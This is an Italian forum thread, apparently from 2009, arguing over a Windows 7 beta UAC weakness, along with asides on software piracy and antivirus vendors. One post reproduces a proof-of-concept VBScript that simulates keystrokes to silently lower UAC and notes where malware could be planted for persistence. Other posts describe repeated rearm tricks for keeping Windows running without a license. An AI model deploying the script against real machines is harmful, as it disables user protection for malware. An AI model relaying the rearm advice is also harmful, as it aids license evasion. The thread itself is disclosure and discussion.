Clamorosa falla nello UAC di Win7!!! Avete voluto meno prompt? Ben vi sta!

[xsim]

Originariamente inviato da acitre

Ma cosa c'entra il codice? Dai, ma per favore... Cambia argomento che è meglio. Si sta parlando di design e funzionamento del sistema e quello è ampiamente documentato. Il codice "closed" non c'entra proprio nulla.

Tutto questo perchè ho OSATO dire che l'UAC (così come apparso in Vista) si poteva implementare anche nell'XP ?
Se ci pensiamo il Linux con Security-Enhanced Linux va ben oltre: http://en.wikipedia.org/wiki/Selinux ..quello si che è ultra configurabile e serio.

P.S.
http://www.nsa.gov/research/selinux/index.shtml
Aprite gli occhi e guardate oltre l'UAC..che Microsoft non ha inventato nulla.

[floola]

Long Zheng proporrebbe una soluzione al problema, sebbene non al 100% (ma non lo sarà mai, a questo punto, credo) http://www.istartedsomething.com/200...-7-beta-proof/ :

This is the part where one would usually demand a large sum of money but since I’m feeling generous, there is a simple fix to this problem Microsoft can implement without sacrificing any of the benefits the new UAC model provides, and that is to force a UAC prompt in Secure Desktop mode whenever UAC is changed, regardless of its current state. This is not a fool-proof solution (users can still inadvertently click “yes”) but a simple one I would encourage Microsoft to implement seeing how they’re on a tight deadline to ship this.

Ma condivido soprattutto ciò:

Having UAC on at the policy as it is currently implemented in Windows 7 is as good as not having it on at all.

Per ora (e non solo per ora, secondo me), l'unica soluzione per sentirsi più al sicuro possibile è di innalzarlo al livello massimo.

[stambeccuccio]

Originariamente inviato da xsim

Per quanto riguarda il Windows..la sua fortuna è stata anche la pirateria (a livello domestico)..ma soprattutto il venderlo insieme ai PC.

si, però aggiorniamoci anche.. stai parlando degli albori dell'informatica e di una fase iniziale che finisce con XP.

Con VISTA la Microsoft è passata alla fase 2 di una strategia, tra l'altro dichiarata.. e questo ha dato fastidio a molti.

Scordiamoci che i veri nuovi sistemi operativi a 64bit Microsoft siano facilmente craccabili come lo era XP.. è finita tale fase.. potranno essere aggirati, utilizzati in parte... ma mai pienamente.
E per pienamente intendo un sistema che si aggiorna quotidianamente sotto tutti i profili ed in particolare sotto il profilo sicurezza.

Un sistema non aggiornato, non serve a nulla e a nessuno e fa solo danni a chi lo usa e anche a tutti gli altri utenti di internet.

E a mio modo di vedere, sono proprio questi "gli utonti" .. che paradossalmente sono quelli che danno degli utonti agli altri.

[xsim]

Originariamente inviato da stambeccuccio

Scordiamoci che i veri nuovi sistemi operativi a 64bit Microsoft siano facilmente craccabili come lo era XP.. è finita tale fase.. potranno essere aggirati, utilizzati in parte... ma mai pienamente.
E per pienamente intendo un sistema che si aggiorna quotidianamente sotto tutti i profili ed in particolare sotto il profilo sicurezza.

Un sistema non aggiornato, non serve a nulla e a nessuno e fa solo danni a chi lo usa e anche a tutti gli altri utenti di internet.

E a mio modo di vedere, sono proprio questi "gli utonti" .. che paradossalmente sono quelli che danno degli utonti agli altri.

A Fantasilandia..nella realtà l'XP x64, il Vista x64 e così come lo sarà il Windows 7 x64 sono pienamente "crackabili"..senza limitazioni di sorta.
Personalmente non mi tange perchè le licenze OEM le pago poco..ma è così..tanta protezione..ma soltanto sulla carta.

[stambeccuccio]

Originariamente inviato da xsim

.. il Vista x64 e così come lo sarà il Windows 7 x64 sono pienamente "crackabili"..senza limitazioni di sorta.

..si, però poi non ci lamentiamo che il sistema non funziona bene e giù a spalare cacca su Microsoft

[xsim]

Originariamente inviato da stambeccuccio

..si, però poi non ci lamentiamo che il sistema non funziona bene e giù a spalare cacca su Microsoft

Ovvio..chi non ha pagato un prodotto non ha diritto a lamentarsi..pacifico.
Cosa non recepita da tutti, me ne rendo conto.

Originariamente inviato da stambeccuccio

no, non è un controsenso.. perchè sai benissimo che tutti usano un sistema microsoft, anche utilizzando altri SO, se non altro per curiosità e per poterlo poi criticare.

Non codivido ovviamente chi (la maggior parte) prova i Sistemi Operativi Microsoft piratati o craccati, sia per un motivo di NON SENSE (non dico morale) e sia per un motivo tecnico e cioè, a parte XP, VISTA e SEVEN piratati NON potranno mai e poi mai funzionare bene... e quindi mi domando che senso ha usare (da un punto di vista tecnico) un sistema piratato ? Che soddisfazione potrà mai dare ? Non è meglio utilizzare i sistemi alternativi open se uno non vuole spendere soldi ?
Insomma la pirateria sul sistema operativo non ha molto senso... e ti posso assicurare che leggendo tutte le problematiche (assurde) di VISTA sul forum.. si capisce benissimo chi usa sistemi piratati o moddati ad cazzum.

Ben vengano le critiche se costruttive e se di aiuto a migliorare un prodotto che volente o nolente, nel mondo rappresenta uno standard universale.

All'utente e a tutti.. addetti ai lavori e non.. questo interessa.. un linguaggio e programmi universali.. e non gli "interessi" di bottega dell'uno o dell'altro.

Che poi questa unicità oggi si chiama Microsoft, non ha importanza, per quanto mi riguarda potrebbe pure chiamarsi in un altro modo.

Approfitto per dirti che:
per quanto riguarda la frammentazione del disco, non dipende dal File System.. ma dalla natura dei dischi stessi... se non vuoi più vedere la frammentazione del disco è sufficiente che ti compri un bel SSD, oggi ancora di piccoli tagli e prezzi ancora leggermente alti.. ma fra qualche mese gli SSD sarà lo standard, magari inizialmente solo per installarci il SO ed un disco capiente per lo storage.

Gli SSD ti ricordo che oggi sono ben gestisti sia da VISTA che da Se7en che già contemplano l'ottimizzazione della gestione di tale "nuovo" e performante hardware.

..quindi come vedi .. anche sull' NTFS

SEMPRE USATI PIRATA I SISTEMI DI REDMOND, DAL PRIMO 98 INSTALLATO PIRATA DAL NEGOZIANTE (all'epoca era NORMA) PASSANDO AL ME, AL 2000 ALL'XP AL VISTA AL 7 (ORIGINALE QUESTO....:ASD: ALMENO PER ORA)...

recentemente ho acquisato una OEM di xp PER POCHI € (scippata da un pc arrotato ..LOL), e l'ho installata .ASSIEME A LINUX..

i sistemi che si scaricano da intenert, sono sostanzialmente le versioni UFFICIALI, rilsaciate da MS stessa...(SOPRATUTTO QUELLE IN ENG ESCONO DAI SERVER DI REDMOND ), tutto sta nel metodo di hacking (che poi con vista non è neppure necessario, QUA ms SI È PROPRIO SUPERATA...PUR DI AUMENTARE LA DIFFUSIONE)...BASTA UN BANALE REARM (procedura DETTAGLIATAMENTE DESCRITTA DA LORO STESSI)... E USARE UN SISTEMA DECISAMENTE pulito e che si scarica la qualunque dai siti MS stessi...

190 gg e si ricomincia senza INSOZZARE NULLA...

CON SEVEN SI SUPERANO ANCORA BEN 5 REARM DA SHELL SENZA FORMATTARE....E POI SI LAMENTANO DELLA PIRATERIA EH!

Ora sappiamo bene tutti che se MS attuasse delle vere politiche DI ANTIPIRATERIA, AD USARLO SAREBBERO DAVVERO 4 GATTI e sappiamo bene che il suo maggiore introito deriva dall'imposizione che attua dal boom de pc nelle grandi catene...(inizio anni 2000 le oem erano PRESSOCCHÈ SCONOSCIUTE E SI ANDAVA IN BUONA PARTE DI COPIA TAROCCA direttamente alla fonte)

altresì PERÒ sappiamo bene che in uffcio NON è ammissibile avere copie NON regolari, di qualunque sw...e sappiamo bene che un free in ambito commercile NON vale (NON Open, free che è tutt'altro...) E QUI ms guadagna fior di €€€€€ o $$$$ in licenze win+ office...

UAC: idea brillante, implementata bene ma che ha fatto innervosire chi ASSIEME AD MS MANGIA NELLO STESSO PIATTO DEI PC ASSEMBLATI...
cHI, BEH SEMPLICE, i lecchini che producono sw per la "sicurezza"..
Chi non ricorda quando questi si sono ribellati come bambini a cui han tolto la caramella di bocca (caramella che fa rima in questo caso $$$$$) perchè i loro sw NOn servivano o andavano alla raz de gan...?

Le varie Mcafee, Norton (queste vanno a braccetto con i prodduttori di pc e con MS ossia ormai un pc senza windows e un av in versione trial, sia mai...., come se fosse un player...non lo trovi) e tante altre sw house di sicurezza...campano solo grazie a MS, alla sua capillare diffusione massificata e variegata e ad accordi lobbistici di basso fondo...

[stambeccuccio]

Originariamente inviato da xsim

Cosa non recepita da tutti, me ne rendo conto.

ma da tutti non è nemmeno recepito che il sistema operativo è della Microsoft che lo dà "gentilmente" in concessione d'uso dietro corrispettivo di denaro (e la sua attività commerciale)

E non viene percepito nemmeno, se non in termini negativi, che solo Mamma e Papà sanno come è fatta la propria creatura e nessun altro.

E i vari crack che ci sono in giro o che ci saranno in giro.. non ti garantiscono proprio per niente.. ti illudi di farla franca o pensi di farla franca.. ma NON ne hai e NON ne puoi avere LA SICUREZZA.

E Mamma Microsoft in questo è stata abbastanza generosa probabilmente anche per un proprio tornaconto, ma non è detto che lo sarà altrettanto in futuro... un futuro che, almeno a parole, è già stato annunciato con VISTA.

[hexaae]

Originariamente inviato da xsim

Tutto questo perchè ho OSATO dire che l'UAC (così come apparso in Vista) si poteva implementare anche nell'XP ?
Se ci pensiamo il Linux con Security-Enhanced Linux va ben oltre: http://en.wikipedia.org/wiki/Selinux ..quello si che è ultra configurabile e serio.

P.S.
http://www.nsa.gov/research/selinux/index.shtml
Aprite gli occhi e guardate oltre l'UAC..che Microsoft non ha inventato nulla.

1. nessuno ha mai detto che Vista con UAC ha inventato un nuovo e rivoluzionario metodo di sicurezza mai apparso prima nel mondo informatico. Si parla semplicemente di ambienti Windows, o non hai notato che ti trovi in Hardware Upgrade Forum > Software > Microsoft Windows?
Non per questo mi pare corretto sminuire la sicurezza di Vista solo perché dici "già visto"...
2. sottovaluti ampiamente la capacità di sicurezza dei sistemi Windows NT che estendono con Vista e gli Integrity Levels ulteriormente il controllo minuzioso sui singoli oggetti (!!!!), e non limitatamente al FS (tutto sotto Unix è un FS come sappiamo...). Ciò permette livelli di sicurezza, a configurarli, di una finezza rara con le ACL etc. etc.... Leggi pure questa interessante discussione (soprattutto i commenti): http://aovestdipaperino.com/posts/do-you-sudowin.aspx

[WarDuck]

La falla se vogliamo non è di UAC, ma è by design di Windows purtroppo (o per fortuna di qualcuno) per via delle troppe Hooks alle DLL disponibili al programmatore.

Cioè tenete conto che per fare un keylogger ci sono parecchi modi possibili sotto Windows, poiché si hanno oltre che le chiamate di sistema, anche le DirectX.

Microsoft dovrebbe pensare seriamente a sfoltire le molte chiamate di sistema spesso pericolose.

Lo ripeto, il problema non è di UAC.

Questo è il codice in vbscript:

'// 1337H4x Written by _____________ 
'//                    (12 year old)

Set WshShell = WScript.CreateObject("WScript.Shell")

'// Toggle Start menu
WshShell.SendKeys("^{ESC}")
WScript.Sleep(500)

'// Search for UAC applet
WshShell.SendKeys("change uac")
WScript.Sleep(2000)

'// Open the applet (assuming second result)
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{ENTER}")
WScript.Sleep(2000)

'// Set UAC level to lowest (assuming out-of-box Default setting)
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")

'// Save our changes
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{ENTER}")

'// TODO: Add code to handle installation of rebound
'// process to continue exploitation, i.e. place something
'// evil in Startup folder

'// Reboot the system
'// WshShell.Run "shutdown /r /f"

E' evidente che alcune chiamate a funzione non dovrebbero essere consentite.

PS: vi consiglio di associare i file script tipo questo (.vbs) a programmi come notepad .

[hexaae]

Originariamente inviato da userpercaso

UAC: idea brillante, implementata bene ma che ha fatto innervosire chi ASSIEME AD MS MANGIA NELLO STESSO PIATTO DEI PC ASSEMBLATI...
cHI, BEH SEMPLICE, i lecchini che producono sw per la "sicurezza"..
Chi non ricorda quando questi si sono ribellati come bambini a cui han tolto la caramella di bocca (caramella che fa rima in questo caso $$$$$) perchè i loro sw NOn servivano o andavano alla raz de gan...?

Le varie Mcafee, Norton (queste vanno a braccetto con i prodduttori di pc e con MS ossia ormai un pc senza windows e un av in versione trial, sia mai...., come se fosse un player...non lo trovi) e tante altre sw house di sicurezza...campano solo grazie a MS, alla sua capillare diffusione massificata e variegata e ad accordi lobbistici di basso fondo...

Già.
È da debellare questa falsa idea di sicurezza che i produttori di AV falsamente instillano negli utenti! Gli AV non servono a un 8=>, o quasi, se alla base c'è un attento uso dei permessi. Peccato che in questo secondo caso è gratis e insito nel kernel di un OS quindi non ci farebbero soldi a dire la verità
Molto meglio far credere all'utonto che è importantissimo installare un AV e che ti protegge da ogni virus o malware, quando non è così.
Senza questa falsa campagna di sicurezza, oggi non avremmo tutta questa diffusione di malware e PC zombie che avviene tipicamente per contagio del classico XP usato da amministratore, ma con un buon AV installato (mi raccomando! ) e che esegue ogni tipo di crack e porcheria che circola, tanto si sente protetto...
Nessuno però critica questo atteggiamento e invece molti criticano UAC perché dà una "falsa sicurezza" secondo loro, che ipocrisia...

[stambeccuccio]

Originariamente inviato da userpercaso

..
Ora sappiamo bene tutti che se MS attuasse delle vere politiche DI ANTIPIRATERIA, AD USARLO SAREBBERO DAVVERO 4 GATTI ..

..sei rimasto a concetti del 1995 (del secolo scorso).. ti consiglio di aggiornati.
Oggi saranno i 4 gatti che non utilizzeranno un sistema se non craccato e non i rimanenti 96.

E la Microsoft ha già previsto di rinunciare a 'sti quatto gatti ..non gli cambia niente, anzi e bene che riduca la sua quota di mercato lasciando al proprio destino la marginalità e puntando sempre di più alla qualità e in nome anche di una maggiore sicurezza dei suoi SO.

O veramente pensi che non sono capaci !?

[WarDuck]

Cmq avendo provato lo script è una cosa impressionante, aggiungo che cmq l'Active Center segnala la cosa... chiaramente in quei millisecondi un programma maligno potrebbe fare di tutto.

D'altro canto credo che in realtà sia possibile da fixare, al contrario da quanto si dice, perché basterebbe fare in modo di chiedere l'autorizzazione almeno per cambiare le impostazioni di UAC.

[stambeccuccio]

Originariamente inviato da WarDuck

Cmq avendo provato lo script è una cosa impressionante...

come si fa a provare quello script !?

[hexaae]

Originariamente inviato da WarDuck

Cmq avendo provato lo script è una cosa impressionante, aggiungo che cmq l'Active Center segnala la cosa... chiaramente in quei millisecondi un programma maligno potrebbe fare di tutto.

D'altro canto credo che in realtà sia possibile da fixare, al contrario da quanto si dice, perché basterebbe fare in modo di chiedere l'autorizzazione almeno per cambiare le impostazioni di UAC.

Esatto. È quello che ho pensato anch'io... volete rendere il sistema più comodo per l'utonto abilitando di default il lamer-mode™ ? Almeno però fate in modo che ci sia un avvertimento di sistema per certe modifiche assolutamente critiche e/o lasciate l'UAC forzato per tali scelte.
Qualcuno lo suggerisca tramite i feedback per Win7.

[WarDuck]

Originariamente inviato da stambeccuccio

come si fa a provare quello script !?

Qui trovi maggiori info:

http://www.withinwindows.com/2009/01...ays-microsoft/

Questo è lo script:

http://www.withinwindows.com/files/uac/poc.vbs.txt

Per sicurezza è stato rinominato in file di testo, basta togliere l'estensione txt e diventa uno script Visual Basic.

Cmq non so se sia possibile mascherare gli input in modo tale che l'utente non se ne accorga.

Edit: aggiungo che potenzialmente un utonto anche al massimo livello di protezione potrebbe sempre inserire la password anche se gli si sono aperte le finestre da sole .

[acitre]

Originariamente inviato da xsim

Tutto questo perchè ho OSATO dire che l'UAC (così come apparso in Vista) si poteva implementare anche nell'XP ?
Se ci pensiamo il Linux con Security-Enhanced Linux va ben oltre: http://en.wikipedia.org/wiki/Selinux ..quello si che è ultra configurabile e serio.

P.S.
http://www.nsa.gov/research/selinux/index.shtml
Aprite gli occhi e guardate oltre l'UAC..che Microsoft non ha inventato nulla.

Stai mettendo in mezzo 100 discorsi perchè non sai proprio dove andare a parare. Con un "ho detto una scemenza" ci facevi più bella figura.

[acitre]

Originariamente inviato da hexaae

1. nessuno ha mai detto che Vista con UAC ha inventato un nuovo e rivoluzionario metodo di sicurezza mai apparso prima nel mondo informatico. Si parla semplicemente di ambienti Windows, o non hai notato che ti trovi in Hardware Upgrade Forum > Software > Microsoft Windows?
Non per questo mi pare corretto sminuire la sicurezza di Vista solo perché dici "già visto"...
2. sottovaluti ampiamente la capacità di sicurezza dei sistemi Windows NT che estendono con Vista e gli Integrity Levels ulteriormente il controllo minuzioso sui singoli oggetti (!!!!), e non limitatamente al FS (tutto sotto Unix è un FS come sappiamo...). Ciò permette livelli di sicurezza, a configurarli, di una finezza rara con le ACL etc. etc.... Leggi pure questa interessante discussione (soprattutto i commenti): http://aovestdipaperino.com/posts/do-you-sudowin.aspx

Ma tanto è inutile... Ora ti risponderà tirando in ballo altri 3 discorsi che non c'entrano nulla. Siamo partiti che si poteva fare l'UAC su XP senza problemi con una patch e quando gli si è fatto notare che ha detto una cazzata, perchè probabilmente non conosce minimamente cosa c'è dietro l'UAC, è partito con altre 10 affermazioni che non c'entrano nulla (molte delle quali tra l'altro nessuno mette in dubbio. Chi ha detto per esempio che microsoft è pioniera nell'elevazione dei privilegi? Anzi lo sanno tutti che il mondo*nix è una vita che funziona in quel modo).

Ahh, com'è difficile per molti ammettere di aver sbagliato o semplicemente di non sapere una cosa.

[xsim]

Originariamente inviato da acitre

Stai mettendo in mezzo 100 discorsi perchè non sai proprio dove andare a parare. Con un "ho detto una scemenza" ci facevi più bella figura.

Bella figura nei confronti di chi ?
Mica è una competizione (con tanto di premio al più esperto)..ma una discussione.
Questo sfugge a molti che frequentano i forum..fra i quali forse (e dico forse) ci sei anche tu.
Maggior relax..meno culi stretti.

[xsim]

Originariamente inviato da acitre

Ma tanto è inutile... Ora ti risponderà tirando in ballo altri 3 discorsi che non c'entrano nulla. Siamo partiti che si poteva fare l'UAC su XP senza problemi con una patch e quando gli si è fatto notare che ha detto una cazzata, perchè probabilmente non conosce minimamente cosa c'è dietro l'UAC, è partito con altre 10 affermazioni che non c'entrano nulla.

Ahh, com'è difficile per molti ammettere di aver sbagliato o semplicemente di non sapere una cosa.

Vai pure sul personale..tranquillo eh..come fossimo fratelli.
Forza!